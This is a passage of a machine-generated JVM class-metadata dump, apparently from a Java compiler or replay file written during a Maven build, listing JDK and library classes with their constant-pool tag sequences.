org/springframework/boot/configurationprocessor/metadata/InvalidConfigurationMetadataException\ninstanceKlass lombok/core/AnnotationValues$AnnotationValueDecodeFail\ninstanceKlass java/lang/LayerInstantiationException\ninstanceKlass javax/lang/model/UnknownEntityException\ninstanceKlass com/sun/tools/javac/jvm/Gen$CodeSizeOverflow\ninstanceKlass com/sun/tools/javac/code/Types$SignatureGenerator$InvalidSignatureException\ninstanceKlass com/sun/tools/javac/comp/Infer$GraphStrategy$NodeNotFoundException\ninstanceKlass com/sun/tools/javac/code/Types$AdaptFailure\ninstanceKlass com/sun/tools/javac/comp/Attr$BreakAttr\ninstanceKlass com/sun/tools/javac/code/Types$FunctionDescriptorLookupError\ninstanceKlass com/sun/tools/javac/comp/Resolve$InapplicableMethodException\ninstanceKlass com/sun/tools/javac/code/Symbol$CompletionFailure\ninstanceKlass java/nio/file/FileSystemAlreadyExistsException\ninstanceKlass java/util/MissingResourceException\ninstanceKlass java/nio/file/FileSystemNotFoundException\ninstanceKlass java/nio/file/ProviderNotFoundException\ninstanceKlass com/sun/tools/javac/util/ClientCodeException\ninstanceKlass com/sun/tools/javac/util/PropagatedException\ninstanceKlass org/apache/maven/project/DuplicateArtifactAttachmentException\ninstanceKlass java/time/DateTimeException\ninstanceKlass org/eclipse/aether/named/support/LockUpgradeNotSupportedException\ninstanceKlass java/util/ConcurrentModificationException\ninstanceKlass com/google/inject/internal/aop/GlueException\ninstanceKlass java/io/UncheckedIOException\ninstanceKlass org/apache/maven/artifact/InvalidArtifactRTException\ninstanceKlass com/google/inject/OutOfScopeException\ninstanceKlass java/lang/annotation/IncompleteAnnotationException\ninstanceKlass java/lang/reflect/UndeclaredThrowableException\ninstanceKlass com/google/common/util/concurrent/UncheckedExecutionException\ninstanceKlass com/google/common/cache/CacheLoader$InvalidCacheLoadException\ninstanceKlass java/util/NoSuchElementException\ninstanceKlass com/google/inject/CreationException\ninstanceKlass com/google/inject/ConfigurationException\ninstanceKlass com/google/inject/ProvisionException\ninstanceKlass java/lang/TypeNotPresentException\ninstanceKlass java/lang/IndexOutOfBoundsException\ninstanceKlass java/lang/UnsupportedOperationException\ninstanceKlass java/lang/SecurityException\ninstanceKlass java/lang/IllegalStateException\ninstanceKlass java/lang/IllegalArgumentException\ninstanceKlass java/lang/ArithmeticException\ninstanceKlass java/lang/NullPointerException\ninstanceKlass java/lang/IllegalMonitorStateException\ninstanceKlass java/lang/ArrayStoreException\ninstanceKlass java/lang/ClassCastException\nciInstanceKlass java/lang/RuntimeException 1 1 40 10 10 10 10 10 100 7 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 12 12 1 1\nciInstanceKlass java/lang/SecurityManager 0 0 572 10 9 100 10 100 8 10 10 10 10 100 10 100 10 9 10 10 10 100 8 10 9 9 8 9 100 10 8 10 10 10 100 10 10 100 100 8 10 8 8 8 8 8 8 10 8 8 8 8 8 10 10 8 100 8 10 8 8 8 8 8 10 8 100 8 8 10 8 8 10 100 8 10 10 100 10 10 10 10 10 10 11 18 11 18 11 18 18 11 18 11 9 9 9 9 100 10 10 10 18 18 10 18 10 18 18 8 10 9 11 8 100 10 10 10 9 10 10 8 100 10 9 8 8 100 10 10 10 9 11 10 11 10 100 100 10 10 10 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 12 12 1 100 12 1 1 12 12 100 12 1 1 12 100 12 12 12 1 1 12 12 1 12 1 1 12 12 12 1 12 1 1 1 12 1 1 1 1 1 1 12 1 1 1 1 1 12 12 1 1 1 1 1 1 1 1 100 12 1 1 1 1 1 1 12 1 1 12 1 12 12 12 100 12 12 100 12 100 12 1 15 16 15 16 12 100 12 16 15 16 12 12 15 16 15 16 12 16 15 16 12 12 12 12 12 12 1 100 12 12 12 15 16 12 15 16 100 12 15 12 12 15 16 15 16 1 12 12 100 12 1 1 12 12 12 12 12 12 1 1 12 1 1 1 12 100 12 12 12 12 12 1 1 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 10 1 10 1 1 1 1 1 1 10 1 1 1 1 1 10 11 1 1 1 10 1 1 1 1 1 1 10 1 10 1 1 1 11 1 1 10 10 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 12 100 12 12 12 100 12 12 12 12 12 1 1 100 1 1 1 1 1 1 1 1 100 1 1\nciInstanceKlass java/security/ProtectionDomain 1 1 331 10 9 7 10 9 9 9 10 7 9 9 7 9 9 10 100 10 10 10 10 9 9 10 7 10 100 10 9 8 100 8 10 10 10 10 8 11 8 10 8 8 10 10 10 10 8 10 8 8 10 9 10 9 10 100 100 10 10 7 10 100 10 10 11 11 100 11 10 10 11 11 10 10 10 11 10 8 8 10 7 10 10 7 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 7 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 100 100 100 1 1 1 1 1 100 12 12 1 12 12 12 12 12 1 12 12 1 12 12 100 12 100 12 12 12 12 100 12 12 1 1 12 100 12 1 1 1 12 12 12 1 1 12 1 1 12 12 12 12 1 12 1 1 100 12 12 12 12 12 1 1 100 12 1 1 12 12 12 12 1 12 12 12 12 12 12 100 12 12 12 1 1 7 12 1 7 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/security/ProtectionDomain filePermCompatInPD Z 0\nciInstanceKlass java/security/AccessControlContext 1 1 367 9 9 10 8 10 10 9 9 9 10 7 100 10 11 11 11 11 7 11 10 10 9 10 11 10 7 100 8 10 10 7 10 9 9 9 9 9 9 9 10 9 10 10 8 10 10 10 100 10 10 10 10 8 10 8 10 8 8 10 8 10 8 10 10 10 8 8 100 10 10 100 10 8 10 10 10 8 10 10 10 7 10 10 10 10 10 10 10 10 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 100 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 100 12 1 100 12 12 12 12 12 7 12 1 12 12 12 12 12 1 12 12 7 12 100 12 12 12 1 1 1 12 12 1 7 12 12 12 12 12 12 12 12 7 12 12 12 12 1 12 12 100 12 1 12 100 12 1 12 1 100 12 1 1 12 1 12 1 12 12 12 1 1 1 12 12 1 12 1 12 12 1 12 12 12 1 12 12 12 12 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\ninstanceKlass jdk/internal/loader/Loader\ninstanceKlass java/net/URLClassLoader\ninstanceKlass jdk/internal/loader/BuiltinClassLoader\nciInstanceKlass java/security/SecureClassLoader 1 1 127 10 7 10 9 10 10 9 10 10 10 10 10 10 7 10 7 10 7 10 11 7 100 8 10 10 7 7 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 1 12 12 7 12 12 12 12 12 12 12 12 12 1 1 12 1 12 7 12 1 1 1 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\ninstanceKlass java/lang/InstantiationException\ninstanceKlass java/lang/IllegalAccessException\ninstanceKlass java/lang/reflect/InvocationTargetException\ninstanceKlass java/lang/NoSuchMethodException\ninstanceKlass java/lang/NoSuchFieldException\ninstanceKlass java/lang/ClassNotFoundException\nciInstanceKlass java/lang/ReflectiveOperationException 1 1 34 10 10 10 10 100 7 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 12 1 1\nciInstanceKlass java/lang/ClassNotFoundException 1 1 37 100 10 10 9 100 7 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 1 1 1\ninstanceKlass java/lang/ExceptionInInitializerError\ninstanceKlass java/lang/UnsatisfiedLinkError\ninstanceKlass java/lang/IncompatibleClassChangeError\ninstanceKlass java/lang/BootstrapMethodError\ninstanceKlass java/lang/NoClassDefFoundError\nciInstanceKlass java/lang/LinkageError 1 1 31 10 10 10 100 7 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 1 1\nciInstanceKlass java/lang/NoClassDefFoundError 1 1 26 10 10 100 7 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 12 12 1 1\nciInstanceKlass java/lang/ClassCastException 1 1 26 10 10 100 100 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 12 12 1 1\nciInstanceKlass java/lang/ArrayStoreException 1 1 26 10 10 100 100 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 12 12 1 1\ninstanceKlass java/lang/InternalError\ninstanceKlass java/lang/StackOverflowError\ninstanceKlass java/lang/OutOfMemoryError\nciInstanceKlass java/lang/VirtualMachineError 1 1 34 10 10 10 10 100 100 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 12 1 1\nciInstanceKlass java/lang/OutOfMemoryError 1 1 26 10 10 100 100 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 12 12 1 1\nciInstanceKlass java/lang/StackOverflowError 1 1 26 10 10 100 100 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 12 12 1 1\nciInstanceKlass java/lang/IllegalMonitorStateException 1 1 26 10 10 100 100 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 12 12 1 1\ninstanceKlass java/lang/ref/PhantomReference\ninstanceKlass java/lang/ref/FinalReference\ninstanceKlass java/lang/ref/WeakReference\ninstanceKlass java/lang/ref/SoftReference\nciInstanceKlass java/lang/ref/Reference 1 1 159 10 9 10 9 9 7 10 10 9 9 10 10 10 9 9 100 10 10 10 7 10 10 10 7 8 10 7 10 10 10 7 10 10 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 7 1 1 1 1 12 12 12 12 12 1 12 12 12 12 12 12 12 12 12 1 12 12 1 12 12 12 1 1 12 1 12 12 12 1 7 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/lang/ref/Reference processPendingLock Ljava/lang/Object; java/lang/Object\ninstanceKlass java/util/ResourceBundle$BundleReference\ninstanceKlass org/eclipse/sisu/inject/MildElements$Soft\ninstanceKlass sun/util/locale/provider/LocaleResources$ResourceReference\ninstanceKlass sun/util/resources/Bundles$BundleReference\ninstanceKlass org/eclipse/sisu/inject/MildKeys$Soft\ninstanceKlass java/lang/invoke/LambdaFormEditor$Transform\ninstanceKlass jdk/internal/ref/SoftCleanable\ninstanceKlass sun/util/locale/LocaleObjectCache$CacheEntry\nciInstanceKlass java/lang/ref/SoftReference 1 1 47 10 9 9 10 10 7 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 12 12 12 12 12 1 1 1\ninstanceKlass jdk/internal/jimage/ImageBufferCache$BufferReference\ninstanceKlass java/util/ResourceBundle$KeyElementReference\ninstanceKlass sun/nio/ch/FileLockTable$FileLockReference\ninstanceKlass org/eclipse/sisu/inject/MildElements$Weak\ninstanceKlass java/lang/WeakPairMap$WeakRefPeer\ninstanceKlass com/google/common/collect/MapMakerInternalMap$AbstractWeakKeyEntry\ninstanceKlass com/google/common/cache/LocalCache$WeakEntry\ninstanceKlass java/lang/ClassValue$Entry\ninstanceKlass java/util/logging/LogManager$LoggerWeakRef\ninstanceKlass java/util/logging/Level$KnownLevel\ninstanceKlass org/eclipse/sisu/inject/MildKeys$Weak\ninstanceKlass java/lang/invoke/MethodType$ConcurrentWeakInternSet$WeakEntry\ninstanceKlass jdk/internal/ref/WeakCleanable\ninstanceKlass java/util/WeakHashMap$Entry\ninstanceKlass java/lang/ThreadLocal$ThreadLocalMap$Entry\nciInstanceKlass java/lang/ref/WeakReference 1 1 31 10 10 100 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 1 1\ninstanceKlass java/lang/ref/Finalizer\nciInstanceKlass java/lang/ref/FinalReference 1 1 36 10 100 8 10 100 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 1 1 12 1 1 1\ninstanceKlass jdk/internal/ref/PhantomCleanable\ninstanceKlass jdk/internal/ref/Cleaner\nciInstanceKlass java/lang/ref/PhantomReference 1 1 30 10 100 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 1 1\nciInstanceKlass java/lang/ref/Finalizer 1 1 139 9 10 9 9 9 9 7 10 10 7 11 100 10 100 10 10 10 100 10 10 7 10 7 10 10 10 10 7 10 7 10 10 10 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 12 12 12 12 12 12 1 12 12 1 7 12 1 12 1 12 100 12 100 12 1 12 12 1 1 12 12 12 1 12 1 12 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/lang/ref/Finalizer lock Ljava/lang/Object; java/lang/Object\ninstanceKlass com/sun/tools/javac/file/BaseFileManager$1\ninstanceKlass java/util/logging/LogManager$Cleaner\ninstanceKlass org/apache/maven/shared/utils/logging/MessageUtils$1\ninstanceKlass jdk/internal/misc/InnocuousThread\ninstanceKlass java/lang/ref/Finalizer$FinalizerThread\ninstanceKlass java/lang/ref/Reference$ReferenceHandler\nciInstanceKlass java/lang/Thread 1 1 592 9 9 10 9 9 100 8 10 3 8 3 10 10 9 9 9 9 7 100 8 10 9 10 10 10 10 10 10 9 10 10 9 10 10 9 10 9 10 9 9 10 10 9 10 9 100 10 7 10 8 10 10 10 10 10 10 9 100 10 10 10 10 100 11 9 10 10 10 9 10 9 10 100 10 10 10 11 10 10 10 7 10 10 10 10 10 10 10 10 10 10 100 8 10 10 10 8 10 8 10 8 8 10 10 100 8 10 9 9 10 10 10 9 10 100 10 11 9 9 10 100 10 11 100 10 10 11 10 100 10 10 10 8 9 10 11 10 11 10 7 7 1 1 100 1 100 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 3 1 3 1 3 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 7 100 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 100 1 1 1 1 1 1 1 1 1 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 12 12 1 1 12 1 12 12 12 12 12 12 1 1 1 12 7 12 12 12 12 12 100 12 12 12 12 12 12 12 12 12 7 12 12 12 12 7 12 12 12 12 1 1 1 12 12 12 12 12 12 12 1 12 12 12 1 12 7 12 12 12 12 12 12 12 1 12 12 12 12 12 12 1 12 12 12 12 12 12 12 12 12 1 1 12 12 1 12 1 1 1 100 12 100 12 1 12 12 12 12 12 12 1 12 12 12 12 12 1 12 100 12 1 12 12 12 12 1 12 12 100 12 12 12 12 100 12 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/lang/Thread EMPTY_STACK_TRACE [Ljava/lang/StackTraceElement; 0 [Ljava/lang/StackTraceElement;\nciInstanceKlass java/lang/ThreadGroup 1 1 289 10 9 8 9 7 9 9 10 10 10 10 10 9 10 10 9 10 9 9 10 100 10 10 10 9 10 10 9 10 10 10 10 10 10 10 10 10 10 10 100 10 10 10 7 10 7 10 9 10 8 10 10 10 10 11 100 9 100 10 8 10 10 8 10 10 10 10 8 10 8 10 8 7 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 1 12 1 12 12 12 12 12 12 12 12 12 12 12 100 12 12 12 7 12 12 7 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 12 12 1 12 12 12 12 1 12 12 12 12 1 12 1 1 12 12 1 12 12 12 100 1 1 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass java/util/Map 1 1 258 11 11 10 11 11 11 11 7 11 11 100 100 10 11 11 11 11 10 11 11 10 100 10 7 7 10 7 10 100 11 100 11 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 7 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 7 12 12 7 12 12 12 1 12 12 1 1 12 12 12 12 12 12 12 100 12 100 12 1 1 12 1 1 1 12 1 1 1 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\ninstanceKlass java/util/Hashtable\nciInstanceKlass java/util/Dictionary 1 1 36 10 100 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 1 1\ninstanceKlass java/util/Properties\nciInstanceKlass java/util/Hashtable 1 1 488 100 10 9 100 100 10 8 10 10 10 10 10 8 10 9 7 9 7 4 10 9 4 10 11 10 10 9 10 100 10 9 10 9 10 10 3 9 9 3 10 10 10 11 11 11 11 100 11 11 10 10 10 9 9 9 10 100 100 10 10 8 10 10 8 10 8 10 7 10 10 100 10 10 100 10 100 10 10 100 11 11 100 10 10 10 11 100 10 11 11 10 10 10 10 10 10 10 100 10 10 8 10 10 100 11 10 10 10 7 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 3 1 3 1 3 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 100 100 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 12 12 1 1 1 12 12 12 12 7 12 1 12 12 1 12 1 7 12 12 12 12 12 12 12 12 1 12 12 12 12 12 12 12 12 12 12 12 100 12 12 12 1 12 12 12 12 12 12 12 12 1 1 12 1 12 1 1 100 12 1 12 12 1 12 12 1 1 12 1 12 12 1 100 12 12 1 12 12 12 12 12 12 12 12 100 12 1 12 1 12 100 12 1 100 12 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\ninstanceKlass org/apache/maven/plugin/surefire/SurefireProperties\ninstanceKlass java/security/Provider\nciInstanceKlass java/util/Properties 1 1 636 10 100 10 7 10 9 9 9 10 10 8 10 7 10 10 8 10 10 9 10 100 3 100 8 10 7 10 10 7 10 10 10 10 10 8 10 10 10 10 10 100 7 10 10 7 8 10 10 10 10 7 10 10 10 11 11 11 7 11 11 10 8 10 10 100 10 10 10 8 10 10 10 100 100 100 10 8 8 10 10 10 7 10 10 10 100 10 10 11 10 8 10 11 8 10 11 9 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 7 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 7 10 100 10 11 4 11 10 10 11 10 10 10 100 8 10 10 10 100 6 0 10 11 10 10 1 1 1 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 100 7 100 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 100 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 100 1 1 1 1 100 1 1 1 1 1 12 1 12 1 12 12 12 12 7 12 12 1 7 12 1 12 12 1 12 12 12 12 1 1 1 12 1 12 12 1 12 12 12 12 1 12 12 12 12 12 1 1 12 12 1 1 12 12 12 12 1 12 7 12 12 12 1 12 12 12 1 12 12 1 12 100 12 1 12 100 12 12 1 1 1 1 1 12 12 12 1 12 12 1 12 12 7 12 1 12 1 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 12 1 12 12 12 12 12 100 12 12 1 1 12 100 12 1 12 100 12 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/util/Properties UNSAFE Ljdk/internal/misc/Unsafe; jdk/internal/misc/Unsafe\nstaticfield java/util/Properties hexDigit [C 16\nciInstanceKlass java/lang/Module 1 1 910 10 9 10 9 9 9 10 10 10 10 7 10 10 7 11 7 10 10 9 10 10 8 10 10 10 9 11 9 10 9 10 10 100 100 10 10 8 10 10 10 10 10 10 9 10 10 9 10 10 9 11 7 10 9 9 10 7 7 10 100 8 10 10 10 8 10 10 10 10 8 8 10 10 10 18 10 11 9 11 10 100 8 10 7 10 10 11 11 9 11 10 10 9 10 10 10 10 18 11 10 11 10 11 4 10 7 10 11 7 10 11 7 10 7 8 10 10 7 10 10 7 7 10 9 100 10 10 10 10 10 11 7 10 11 10 11 10 10 10 10 10 10 10 10 18 11 11 18 10 10 10 7 10 10 10 9 7 10 10 10 10 10 10 10 10 10 9 18 10 7 100 8 10 10 10 100 10 100 8 100 10 100 100 3 10 100 10 10 10 100 10 10 100 100 10 8 10 10 10 10 10 10 10 7 10 10 10 100 8 10 10 8 10 8 10 10 10 8 10 7 10 10 10 11 100 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 7 7 7 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 100 100 1 7 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 12 12 12 12 12 12 12 12 12 12 1 7 12 12 1 12 12 7 12 100 12 12 12 1 12 12 12 12 12 12 7 12 12 7 12 12 1 1 12 1 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 12 12 12 12 1 1 12 1 1 12 12 1 12 12 12 12 1 1 12 12 12 1 15 16 15 16 12 12 12 12 12 7 12 1 1 1 12 12 12 12 12 12 12 12 12 12 7 12 16 15 16 12 12 100 12 12 12 12 12 1 12 1 12 1 7 12 100 1 1 1 12 12 1 12 12 1 1 12 12 1 7 12 12 12 12 1 12 12 12 12 12 12 12 12 12 12 12 16 15 16 12 12 12 15 16 12 12 12 12 1 12 12 12 12 1 12 12 12 12 12 12 12 16 15 16 12 100 12 1 1 1 12 12 12 1 12 1 1 1 1 1 12 1 12 12 12 1 12 12 1 1 12 1 12 12 7 12 12 12 12 12 1 12 12 1 1 12 100 12 1 12 1 12 12 12 1 1 12 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 10 10 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 10 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 10 1 1 1 1 1 1 10 1 1 1 1 1 1 10 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 12 12 100 12 12 12 1 1 100 1 1 1 100 1 1\nstaticfield java/lang/Module ALL_UNNAMED_MODULE Ljava/lang/Module; java/lang/Module\nstaticfield java/lang/Module ALL_UNNAMED_MODULE_SET Ljava/util/Set; java/util/ImmutableCollections$Set12\nstaticfield java/lang/Module EVERYONE_MODULE Ljava/lang/Module; java/lang/Module\nstaticfield java/lang/Module EVERYONE_SET Ljava/util/Set; java/util/ImmutableCollections$Set12\nstaticfield java/lang/Module $assertionsDisabled Z 1\ninstanceKlass java/lang/reflect/Executable\ninstanceKlass java/lang/reflect/Field\nciInstanceKlass java/lang/reflect/AccessibleObject 1 1 405 10 9 10 10 10 10 7 10 10 9 100 10 11 7 100 10 7 100 10 10 7 10 10 7 10 7 10 10 10 10 10 10 10 10 10 10 8 100 10 10 8 10 10 8 8 8 8 8 8 100 10 10 9 10 10 10 18 10 10 10 11 100 100 8 10 10 10 8 10 8 10 10 100 8 10 11 10 10 10 10 10 9 100 10 10 9 10 8 10 8 10 9 100 10 7 10 10 7 9 7 7 